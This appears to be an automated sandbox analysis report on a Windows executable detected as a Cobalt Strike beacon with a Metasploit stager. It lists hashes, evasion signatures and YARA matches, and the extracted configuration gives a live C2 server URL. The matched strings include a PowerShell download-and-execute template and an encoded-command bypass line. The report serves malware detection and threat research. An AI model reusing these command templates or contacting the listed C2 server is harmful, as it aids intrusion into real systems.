Edit tour

Windows Analysis Report
7kSftA4Eoh.exe

Overview

General Information

Sample name:	7kSftA4Eoh.exe renamed because original name is a hash value
Original sample name:	71f8b8789a4b0ac3f057f1468579fc23.exe
Analysis ID:	1523188
MD5:	71f8b8789a4b0ac3f057f1468579fc23
SHA1:	2f424692dcfb5f9fe87f1e94fd2922ab3fb2143d
SHA256:	a390b03e67b809b3dd08b840e3e917eb701387309c5a8859438dc926ce62ec64
Tags:	CobaltStrikeexeuser-abuse_ch
Infos:

Detection

CobaltStrike, Metasploit

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected CobaltStrike

Yara detected Metasploit Payload

Yara detected Powershell download and execute

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Found API chain indicative of debugger detection

Found potential dummy code loops (likely to delay analysis)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

7kSftA4Eoh.exe (PID: 6992 cmdline: "C:\Users\user\Desktop\7kSftA4Eoh.exe" MD5: 71F8B8789A4B0AC3F057F1468579FC23)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus Earth Baxia FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa http://www.secureworks.com/research/threat-profiles/gold-drake	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"C2Server": "http://8.130.42.227:10001/2yMe", "User Agent": "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)\r\n"}

Threatname: Metasploit

{"Headers": "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)\r\n", "Type": "Metasploit Download", "URL": "http://8.130.42.227/2yMe"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.4126310737.00000000009F0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.4126310737.00000000009F0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_b54b94ac	Rule for beacon sleep obfuscation routine	unknown	0x137:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03
00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x11:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x7d:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x2cfea:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d062:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d7cc:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x2dafe:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2da90:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2dafe:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2d0c5:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d256:$a7: could not run command (w/ token) because of its length of %d bytes! 0x2d10b:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d149:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2db48:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d3b6:$a11: Could not open service control manager on %s: %d 0x2d8e8:$a12: %d is an x64 process (can't inject x86 content) 0x2d918:$a13: %d is an x86 process (can't inject x64 content) 0x2dc39:$a14: Failed to impersonate logged on user %d (%u) 0x2d8a1:$a15: could not create remote thread in %d: %d 0x2d17f:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d84f:$a17: could not write to process memory: %d 0x2d3e7:$a18: Could not create service %s on %s: %d 0x2d470:$a19: Could not delete service %s on %s: %d 0x2d2d0:$a20: Could not open process token: %d (%u)
00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1963f:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_b54b94ac	Rule for beacon sleep obfuscation routine	unknown	0x3c3c2:$a_x64: 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03
00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16f19:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x181ca:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3c068:$loader_export: ReflectiveLoader 0x2cfa7:$exportname: beacon.dll
00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2db48:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d918:$x2: %d is an x86 process (can't inject x64 content) 0x2dafe:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2dbe2:$x4: Failed to impersonate token from %d (%u) 0x2dc39:$x5: Failed to impersonate logged on user %d (%u) 0x2cfea:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17dfa:$s0: 83 C0 02 48 8B 7C 24 20 48 8B F0 B9 40 00 00 00 F3 A4 44 0F B6 84 24 A0 00 00 00 BA 40 00 00 00 48 8B 4C 24 20 E8 EF F2 FF FF 48 8B 54 24 20 48 8B 8C 24 98 00 00 00 48 8B 84 24 80 00 00 00 FF ... 0x1719d:$s1: 0F B7 00 3D 4D 5A 00 00 75 45 48 8B 44 24 20 48 63 40 3C 48 89 44 24 28 48 83 7C 24 28 40 72 2F 48 81 7C 24 28 00 04 00 00 73 24 48 8B 44 24 20 48 8B 4C 24 28 48 03 C8 48 8B C1 48 89 44 24 28 ...
00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x2e9a3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ea1b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f185:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x2f4b7:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2f449:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2f4b7:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2ea7e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ec0f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x2eac4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2eb02:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2f501:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x2ed6f:$a11: Could not open service control manager on %s: %d 0x2f2a1:$a12: %d is an x64 process (can't inject x86 content) 0x2f2d1:$a13: %d is an x86 process (can't inject x64 content) 0x2f5f2:$a14: Failed to impersonate logged on user %d (%u) 0x2f25a:$a15: could not create remote thread in %d: %d 0x2eb38:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f208:$a17: could not write to process memory: %d 0x2eda0:$a18: Could not create service %s on %s: %d 0x2ee29:$a19: Could not delete service %s on %s: %d 0x2ec89:$a20: Could not open process token: %d (%u)
00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1a1f8:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x17ad2:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x18d83:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2f4b7:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2f501:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2f2d1:$x3: %d is an x86 process (can't inject x64 content) 0x2ec89:$s1: Could not open process token: %d (%u) 0x2e9a3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ed4c:$s4: Could not connect to pipe (%s): %d
00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3da21:$loader_export: ReflectiveLoader 0x2e960:$exportname: beacon.dll
00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2f2a1:$x2: %d is an x64 process (can't inject x86 content) 0x2f5f2:$x3: Failed to impersonate logged on user %d (%u) 0x2f501:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2f4b7:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2ec0f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2f208:$s4: could not write to process memory: %d 0x2e9a3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ed4c:$s6: Could not connect to pipe (%s): %d
00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x2f970:$str1: %s (admin) 0x2e960:$str2: beacon.dll
00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2f501:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2f2d1:$x2: %d is an x86 process (can't inject x64 content) 0x2f4b7:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2f59b:$x4: Failed to impersonate token from %d (%u) 0x2f5f2:$x5: Failed to impersonate logged on user %d (%u) 0x2e9a3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x2f48f:$s1: %%IMPORT%% 0x2e987:$s2: www6.%x%x.%s 0x2e97b:$s3: cdn.%x%x.%s 0x2ec03:$s4: api.%x%x.%s 0x2f970:$s5: %s (admin) 0x2ec72:$s6: could not spawn %s: %d 0x2f533:$s7: Could not kill %d: %d 0x2ed4c:$s8: Could not connect to pipe (%s): %d 0x2e994:$s9: %s.1%x.%x%x.%s 0x2e9a3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ea1b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ea7e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2eac4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2eb02:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2eb38:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2eb61:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2eb86:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x2eba7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x2ebc4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x2ebdd:$s9: %s.1%08x%08x.%x%x.%s 0x2ebf2:$s9: %s.1%08x.%x%x.%s
Process Memory Space: 7kSftA4Eoh.exe PID: 6992	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
Process Memory Space: 7kSftA4Eoh.exe PID: 6992	JoeSecurity_CobaltStrike_1	Yara detected CobaltStrike	Joe Security
Process Memory Space: 7kSftA4Eoh.exe PID: 6992	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7kSftA4Eoh.exe PID: 6992	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
Process Memory Space: 7kSftA4Eoh.exe PID: 6992	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Process Memory Space: 7kSftA4Eoh.exe PID: 6992	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x14227:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1fb06:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1429f:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1fb7e:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x14a04:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x202e3:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x14d2c:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2060b:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x14cbe:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x14d2c:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2059d:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2060b:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x14302:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1fbe1:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x14493:$a7: could not run command (w/ token) because of its length of %d bytes! 0x1fd72:$a7: could not run command (w/ token) because of its length of %d bytes! 0x14348:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1fc27:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x14386:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x1fc65:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x14d76:$a10: powershell -nop -exec bypass -EncodedCommand "%s"
Process Memory Space: 7kSftA4Eoh.exe PID: 6992	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x1932c:$loader_export: ReflectiveLoader 0x1934b:$loader_export: ReflectiveLoader 0x24c0b:$loader_export: ReflectiveLoader 0x24c2a:$loader_export: ReflectiveLoader 0x14065:$exportname: beacon.dll 0x141ee:$exportname: beacon.dll 0x1f944:$exportname: beacon.dll 0x1facd:$exportname: beacon.dll
Process Memory Space: 7kSftA4Eoh.exe PID: 6992	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x14d76:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x20655:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x14b50:$x2: %d is an x86 process (can't inject x64 content) 0x2042f:$x2: %d is an x86 process (can't inject x64 content) 0x14d2c:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2060b:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x14e10:$x4: Failed to impersonate token from %d (%u) 0x206ef:$x4: Failed to impersonate token from %d (%u) 0x14e67:$x5: Failed to impersonate logged on user %d (%u) 0x20746:$x5: Failed to impersonate logged on user %d (%u) 0x14227:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1fb06:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
Click to see the 29 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.7kSftA4Eoh.exe.990000.1.raw.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.7kSftA4Eoh.exe.990000.1.raw.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.7kSftA4Eoh.exe.990000.1.raw.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x2e9a3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ea1b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f185:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x2f4b7:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2f449:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2f4b7:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2ea7e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ec0f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x2eac4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2eb02:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2f501:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x2ed6f:$a11: Could not open service control manager on %s: %d 0x2f2a1:$a12: %d is an x64 process (can't inject x86 content) 0x2f2d1:$a13: %d is an x86 process (can't inject x64 content) 0x2f5f2:$a14: Failed to impersonate logged on user %d (%u) 0x2f25a:$a15: could not create remote thread in %d: %d 0x2eb38:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2f208:$a17: could not write to process memory: %d 0x2eda0:$a18: Could not create service %s on %s: %d 0x2ee29:$a19: Could not delete service %s on %s: %d 0x2ec89:$a20: Could not open process token: %d (%u)
0.2.7kSftA4Eoh.exe.990000.1.raw.unpack	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1a1f8:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
0.2.7kSftA4Eoh.exe.990000.1.raw.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x17ad2:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x18d83:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
0.2.7kSftA4Eoh.exe.990000.1.raw.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2f4b7:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2f501:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2f2d1:$x3: %d is an x86 process (can't inject x64 content) 0x2ec89:$s1: Could not open process token: %d (%u) 0x2e9a3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ed4c:$s4: Could not connect to pipe (%s): %d
0.2.7kSftA4Eoh.exe.990000.1.raw.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3da21:$loader_export: ReflectiveLoader 0x2e960:$exportname: beacon.dll
0.2.7kSftA4Eoh.exe.990000.1.raw.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2f2a1:$x2: %d is an x64 process (can't inject x86 content) 0x2f5f2:$x3: Failed to impersonate logged on user %d (%u) 0x2f501:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2f4b7:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2ec0f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2f208:$s4: could not write to process memory: %d 0x2e9a3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ed4c:$s6: Could not connect to pipe (%s): %d
0.2.7kSftA4Eoh.exe.990000.1.raw.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x2f970:$str1: %s (admin) 0x2e960:$str2: beacon.dll
0.2.7kSftA4Eoh.exe.990000.1.raw.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2f501:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2f2d1:$x2: %d is an x86 process (can't inject x64 content) 0x2f4b7:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2f59b:$x4: Failed to impersonate token from %d (%u) 0x2f5f2:$x5: Failed to impersonate logged on user %d (%u) 0x2e9a3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
